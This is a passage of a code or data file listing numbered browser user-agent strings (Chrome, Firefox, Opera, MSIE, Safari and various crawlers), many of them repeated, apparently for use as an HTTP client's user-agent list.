"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
2315
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
2316
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
2317
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
2318
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
2319
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
2320
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2321
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
2322
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
2323
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
2324
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
2325
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
2326
"Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
2327
"Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
2328
"Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
2329
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
2330
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
2331
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
2332
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
2333
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
2334
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
2335
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
2336
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
2337
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
2338
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
2339
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
2340
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
2341
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
2342
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
2343
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
2344
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
2345
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
2346
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
2347
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
2348
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
2349
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
2350
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2351
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2352
"Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
2353
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2354
"Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
2355
"Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
2356
"Opera/6.04 (Windows XP; U) [en]",
2357
"Opera/9.99 (X11; U; sk)",
2358
"Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
2359
"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
2360
"Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
2361
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
2362
"Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
2363
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
2364
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
2365
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
2366
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
2367
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
2368
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
2369
"Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
2370
"Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
2371
"Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
2372
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
2373
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
2374
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
2375
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
2376
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
2377
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
2378
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
2379
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
2380
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
2381
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2382
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2383
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2384
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2385
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2386
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2387
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2388
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2389
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
2390
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2391
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2392
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2393
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2394
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2395
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2396
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2397
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2398
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2399
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2400
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2401
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
2402
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2403
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2404
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2405
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2406
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2407
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
2408
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2409
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2410
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
2411
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
2412
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2413
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
2414
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2415
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
2416
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2417
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
2418
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
2419
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
2420
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
2421
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
2422
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
2423
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
2424
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
2425
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
2426
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
2427
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2428
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2429
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2430
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
2431
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2432
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2433
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
2434
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2435
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
2436
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2437
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
2438
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
2439
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2440
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2441
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2442
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2443
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
2444
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2445
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2446
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
2447
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
2448
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2449
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
2450
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2451
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
2452
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2453
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
2454
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
2455
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
2456
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
2457
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
2458
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
2459
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
2460
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
2461
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
2462
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
2463
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2464
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2465
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2466
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
2467
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2468
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2469
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
2470
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2471
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
2472
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2473
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
2474
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
2475
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2476
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
2477
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
2478
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
2479
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
2480
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
2481
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
2482
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
2483
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
2484
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
2485
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
2486
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
2487
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2488
"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
2489
"Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
2490
"Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
2491
"Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
2492
"SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
2493
"Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
2494
"Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
2495
"Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
2496
"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
2497
"C4PC UserAgent/0.7",
2498
"Googlebot 1.01.003",
2499
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
2500
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
2501
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
2502
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2503
"Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
2504
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2505
"Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
2506
"Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
2507
"Opera/6.04 (Windows XP; U) [en]",
2508
"Opera/9.99 (X11; U; sk)",
2509
"Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
2510
"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
2511
"Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
2512
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
2513
"Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
2514
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
2515
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2516
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2517
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2518
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2519
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2520
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2521
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2522
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2523
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
2524
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2525
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2526
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2527
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2528
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2529
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
2530
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2531
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2532
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
2533
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
2534
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2535
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
2536
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
2537
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
2538
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
2539
